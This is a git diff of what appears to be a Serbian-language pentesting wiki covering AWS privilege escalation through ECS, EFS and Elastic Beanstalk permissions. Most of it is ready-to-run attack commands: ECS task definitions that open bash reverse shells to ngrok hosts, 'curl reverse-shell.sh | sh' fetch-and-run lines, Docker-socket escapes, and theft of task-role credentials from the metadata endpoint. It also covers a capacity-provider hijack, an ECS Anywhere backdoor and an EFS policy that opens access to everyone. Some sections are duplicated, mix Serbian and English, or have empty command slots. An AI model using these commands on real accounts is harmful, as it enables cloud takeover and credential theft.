**malicioznim kontejnerom** koji krade metadata credentials i **pokrenuti ga kreiranjem novog servisa sa najmanje jednim pokrenutim taskom.** +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**Potencijalni uticaj:** Direktan privesc na bilo koju ECS ulogu. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` + +Zapravo, samo sa tim dozvolama moguće je koristiti overrides da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom koristeći nešto poput: +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**Potencijalni uticaj:** Direktan privesc na bilo koju ECS role. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Ovaj scenario je kao prethodni, ali **bez** **`iam:PassRole`** dozvole.\ +Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan container, čak i ako je bez role, možete **pokrenuti privilegovani container da pobegnete** na node i **ukrasti EC2 IAM role** i **role drugih ECS containera** koje rade na node-u.\ +Možete čak i **primorati druge taskove da se pokrenu unutar EC2 instance** koju kompromitujete kako biste ukrali njihove kredencijale (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). + +> [!WARNING] +> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance i ne Fargate. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf '[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > /tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM rolu pridruženu njemu (potrebne su dozvole za describe jer su neophodne za pokretanje `aws ecs execute-command`).\ +Međutim, da bi se to postiglo, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (koji po defaultu nije). + +Zbog toga napadač može pokušati: + +- **Pokušati pokrenuti komandu** u svakom pokrenutom kontejneru +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- Ako ima **`ecs:RunTask`**, pokreni task sa `aws ecs run-task --enable-execute-command [...]` +- Ako ima **`ecs:StartTask`**, pokreni task sa `aws ecs start-task --enable-execute-command [...]` +- Ako ima **`ecs:CreateService`**, kreiraj service sa `aws ecs create-service --enable-execute-command [...]` +- Ako ima **`ecs:UpdateService`**, ažuriraj service sa `aws ecs update-service --enable-execute-command [...]` + +Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**. + +**Potencijalni uticaj:** Privesc na drugu ulogu vezanu za kontejnere. + +### `ssm:StartSession` + +Pogledaj na **ssm privesc stranici** kako možeš zloupotrebiti ovu dozvolu da se **privesc na ECS**: + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Pogledaj na **ec2 privesc stranici** kako možeš zloupotrebiti ove dozvole da se **privesc na ECS**: + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +Napadač sa ovim dozvolama bi potencijalno mogao da registruje EC2 instancu u ECS klasteru i pokrene taskove na njoj. Ovo bi napadaču omogućilo izvršavanje proizvoljnog koda u kontekstu ECS taskova. + +- TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se taskovi izvršavaju na mašinama pod kontrolom napadača? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: Testirati ovo + +Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati maliciozni task set za postojeći ECS service i ažurirati primarni task set**. Ovo omogućava napadaču da **izvrši proizvoljan kod unutar servisa**. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**Mogući uticaj**: Izvršavanje proizvoljnog koda u pogođenoj usluzi, što može uticati na njenu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka. + +## References + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +Napadač sa dozvolama za upravljanje ECS Capacity Provider-ima i za ažuriranje servisa može kreirati EC2 Auto Scaling Group pod svojom kontrolom, upakovati je kao ECS Capacity Provider, povezati je sa ciljnim clusterom i migrirati žrtvin servis da koristi tog providera. Tasks će potom biti raspoređeni na EC2 instance kojima napadač upravlja, što omogućava OS-nivo pristupa za inspekciju containera i krađu task role credentials. + +Commands (us-east-1): + +- Preduslovi + + + +- Create Launch Template for ECS agent to join target cluster + + + +- Create Auto Scaling Group + + + +- Create Capacity Provider from the ASG + + + +- Associate the Capacity Provider to the cluster (optionally as default) + + + +- Migrate a service to your provider + + + +- Verify tasks land on attacker instances + + + +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. + +- Cleanup + + + +**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials. + + +
+Step-by-step commands (copy/paste) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +Iskoristite ECS Anywhere da registrujete host pod kontrolom napadača kao EXTERNAL container instance u žrtvinom ECS clusteru i pokrenete tasks na tom hostu koristeći privilegovane task i execution role. Ovo daje OS-nivo kontrole nad tim gde se tasks izvršavaju (vaša mašina) i omogućava krađu credential-a/podataka iz tasks i prikačenih volumena bez diranja capacity providera ili ASG-ova. + +- Potrebne dozvole (primer minimalno): +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) + +- Uticaj: Pokrenite proizvoljne containere sa odabranim taskRoleArn na hostu pod vašom kontrolom; eksfiltracija task-role credentials sa 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; pristup bilo kojim volumenima montiranim od strane tasks; stealthier nego manipulacija capacity provider-ima/ASG-ovima. + +Koraci + +1) Kreirajte/identifikujte cluster (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) Kreiraj ECS Anywhere role i SSM activation (za on-prem/EXTERNAL instance) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) Postavite napadački host i automatski ga registrujte kao EXTERNAL (na primer: mali AL2 EC2 kao “on‑prem”) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) Proveri da li se EXTERNAL instanca kontejnera pridružila +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) Kreirajte task/execution roles, registrujte EXTERNAL task definition i pokrenite je na attacker hostu +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) Odavde kontrolišeš host koji pokreće tasks. Možeš čitati task logs (ako su awslogs) ili direktno exec na hostu da bi exfiltrateovao credentials/data iz svojih tasks. + + + +#### Primer komande (placeholders) + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials. + +Commands (us-east-1): + +- Preduslovi + + + +- Kreiraj Launch Template for ECS agent to join target cluster + + + +- Kreiraj Auto Scaling Group + + + +- Kreiraj Capacity Provider from the ASG + + + +- Poveži Capacity Provider sa cluster-om (opciono kao default) + + + +- Migriraj a service na svog providera + + + +- Proveri da li su tasks raspoređeni na instance pod kontrolom napadača + + + +- Opcionalno: Sa EC2 node-a, docker exec u ciljne containers i pročitaj http://169.254.170.2 da dobiješ task role credentials. + +- Čišćenje + + + +**Potencijalni uticaj:** EC2 nodes pod kontrolom napadača primaju victim tasks, omogućavajući OS-level access do containers i krađu task IAM role credentials. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md deleted file mode 100644 index 1fb207acc..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - EFS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Više **informacija o EFS** u: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -Zapamtite da da biste montirali EFS, morate biti u podmreži gde je EFS izložen i imati pristup njemu (grupe bezbednosti). Ako se to dešava, po defaultu, uvek ćete moći da ga montirate, međutim, ako je zaštićen IAM politikama, potrebno je da imate dodatne dozvole navedene ovde da biste mu pristupili. - -### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` - -Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** ili jednostavno **izbrisati** tako da se **default pristup** odobri. - -Da biste izbrisali politiku: -```bash -aws efs delete-file-system-policy \ ---file-system-id -``` -Da biste to promenili: -```json -aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json - -// Give everyone trying to mount it read, write and root access -// policy.json: -{ -"Version": "2012-10-17", -"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", -"Statement": [ -{ -"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": [ -"elasticfilesystem:ClientRootAccess", -"elasticfilesystem:ClientWrite", -"elasticfilesystem:ClientMount" -], -"Condition": { -"Bool": { -"elasticfilesystem:AccessedViaMountTarget": "true" -} -} -} -] -} -``` -### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` - -Sa ovom dozvolom, napadač će moći da **montira EFS**. Ako dozvola za pisanje nije data podrazumevano svima koji mogu da montiraju EFS, imaće samo **pristup za čitanje**. -```bash -sudo mkdir /efs -sudo mount -t efs -o tls,iam :/ /efs/ -``` -Dodatne dozvole `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogu se koristiti za **pisanje** unutar datotečnog sistema nakon što je montiran i za **pristup** tom datotečnom sistemu **kao root**. - -**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u datotečnom sistemu. - -### `elasticfilesystem:CreateMountTarget` - -Ako je napadač unutar **podmreže** gde **ne postoji montažna tačka** EFS-a. On bi mogao jednostavno **da kreira jednu u svojoj podmreži** sa ovom privilegijom: -```bash -# You need to indicate security groups that will grant the user access to port 2049 -aws efs create-mount-target --file-system-id \ ---subnet-id \ ---security-groups -``` -**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu. - -### `elasticfilesystem:ModifyMountTargetSecurityGroups` - -U scenariju gde napadač otkrije da EFS ima mount target u njegovoj podmreži, ali **nema sigurnosne grupe koja dozvoljava saobraćaj**, mogao bi jednostavno **promeniti to modifikovanjem odabranih sigurnosnih grupa**: -```bash -aws efs modify-mount-target-security-groups \ ---mount-target-id \ ---security-groups -``` -**Potencijalni Uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md new file mode 100644 index 000000000..4d5632082 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - EFS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Više **informacija o EFS** u: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +Imajte na umu da, da biste mount-ovali EFS, morate biti u subnetwork-u gde je EFS izložen i imati pristup njemu (security groups). Ako je to slučaj, podrazumevano ćete uvek moći da ga mount-ujete, međutim, ako je zaštićen IAM politikama, potrebno je da imate dodatna dozvoljenja pomenuta ovde da biste mu pristupili. + +### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` + +Sa bilo kojom od tih dozvola napadač može **promeniti politiku file sistema** da bi vam **dao pristup** njemu, ili je jednostavno **obrisati** tako da se **podrazumevani pristup** omogući. + +Za brisanje politike: +```bash +aws efs delete-file-system-policy \ +--file-system-id +``` +Da biste to promenili: +```json +aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json + +// Give everyone trying to mount it read, write and root access +// policy.json: +{ +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] +} +``` +### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` + +Sa ovom dozvolom attacker će moći da **mount the EFS**. Ako write permission nije dodeljena podrazumevano svima koji mogu da mount the EFS, on će imati samo **read access**. +```bash +sudo mkdir /efs +sudo mount -t efs -o tls,iam :/ /efs/ +``` +Dodatna ovlašćenja `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogu se koristiti za **pisanje** unutar fajl sistema nakon što je montiran i za **pristup** tom fajl sistemu **kao root**. + +**Potencijalni uticaj:** Neizravan privesc pronalaženjem osetljivih informacija u fajl sistemu. + +### `elasticfilesystem:CreateMountTarget` + +Ako se napadač nalazi u **podmreži** gde ne postoji **mount target** za EFS, može jednostavno **kreirati jedan u svojoj podmreži** sa ovom privilegijom: +```bash +# You need to indicate security groups that will grant the user access to port 2049 +aws efs create-mount-target --file-system-id \ +--subnet-id \ +--security-groups +``` +**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u fajl sistemu. + +### `elasticfilesystem:ModifyMountTargetSecurityGroups` + +U scenariju gde napadač otkrije da EFS ima mount target u njegovoj podmreži, ali **nijedna security group ne dozvoljava saobraćaj**, mogao bi jednostavno **to promeniti modifikujući izabrane security groups**: +```bash +aws efs modify-mount-target-security-groups \ +--mount-target-id \ +--security-groups +``` +**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u datotečnom sistemu. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 73% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index eea879c6f..908b3d558 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk Više **informacija o Elastic Beanstalk** u: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Da biste izvršili osetljive radnje u Beanstalk-u, biće vam potrebne **mnoge osetljive dozvole u mnogim različitim servisima**. Možete proveriti, na primer, dozvole koje su date **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Da biste izvršili osetljive akcije u Beanstalk-u, biće vam potrebne **mnoge osetljive dozvole u više različitih servisa**. Na primer, možete proveriti dozvole dodeljene **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 dozvole za pisanje i mnoge druge +### `elasticbeanstalk:RebuildEnvironment`, S3 dozvole za pisanje & mnoge druge -Sa **dozvolama za pisanje nad S3 bucket-om** koji sadrži **kod** okruženja i dozvolama za **ponovno izgradnju** aplikacije (potrebno je `elasticbeanstalk:RebuildEnvironment` i još nekoliko povezanih sa `S3`, `EC2` i `Cloudformation`), možete **modifikovati** **kod**, **ponovo izgraditi** aplikaciju i sledeći put kada pristupite aplikaciji, ona će **izvršiti vaš novi kod**, omogućavajući napadaču da kompromituje aplikaciju i IAM uloge njene kredencijale. +Sa **dozvolama za pisanje nad S3 bucket-om** koji sadrži **kod** okruženja i dozvolama da **ponovo izgradite** aplikaciju (potrebno je `elasticbeanstalk:RebuildEnvironment` i još nekoliko povezanih sa `S3`, `EC2` i `Cloudformation`), možete **izmeniti** **kod**, **ponovo izgraditi** aplikaciju i sledeći put kada pristupite aplikaciji ona će **izvršiti vaš novi kod**, omogućavajući napadaču da kompromituje aplikaciju i kredencijale njene IAM role. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -30,9 +30,9 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još mnogo toga... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još... -Pomenute, plus nekoliko **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule. +Navedene, plus nekoliko **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** i **`elasticloadbalancing`** dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule. - Kreirajte AWS Elastic Beanstalk aplikaciju: ```bash @@ -42,27 +42,27 @@ aws elasticbeanstalk create-application --application-name MyApp ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Ako je okruženje već kreirano i **ne želite da kreirate novo**, možete jednostavno **ažurirati** postojeće. +Ako je okruženje već kreirano i vi **ne želite da kreirate novo**, možete jednostavno **ažurirati** postojeće. -- Pakujte svoj aplikacioni kod i zavisnosti u ZIP datoteku: +- Spakujte kod aplikacije i zavisnosti u ZIP fajl: ```python zip -r MyApp.zip . ``` -- Otvorite ZIP datoteku u S3 kofu: +- Otpremite ZIP datoteku u S3 bucket: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` -- Kreirajte verziju aplikacije AWS Elastic Beanstalk: +- Kreirajte AWS Elastic Beanstalk verziju aplikacije: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Implementirajte verziju aplikacije u vaše AWS Elastic Beanstalk okruženje: +- Postavite verziju aplikacije u vaše AWS Elastic Beanstalk okruženje: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Prvo što treba da uradite je da kreirate **legitiman Beanstalk okruženje** sa **kodom** koji želite da pokrenete u **žrtvi** prateći **prethodne korake**. Potencijalno jednostavan **zip** koji sadrži ova **2 fajla**: +Pre svega treba da kreirate **legit Beanstalk environment** sa **code** koji želite da pokrenete na **victim**, prateći **previous steps**. Moguće je jednostavan **zip** koji sadrži ove **2 datoteke**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a kako bi **žrtva mogla da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**): +Kada imate **your own Beanstalk env running** your rev shell, vreme je da ga **migrate** u **victims** env. Da biste to uradili, potrebno je **update the Bucket Policy** vašeg beanstalk S3 bucket-a tako da **victim can access it** (Napomena: ovo će **open** Bucket za **EVERYONE**): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. 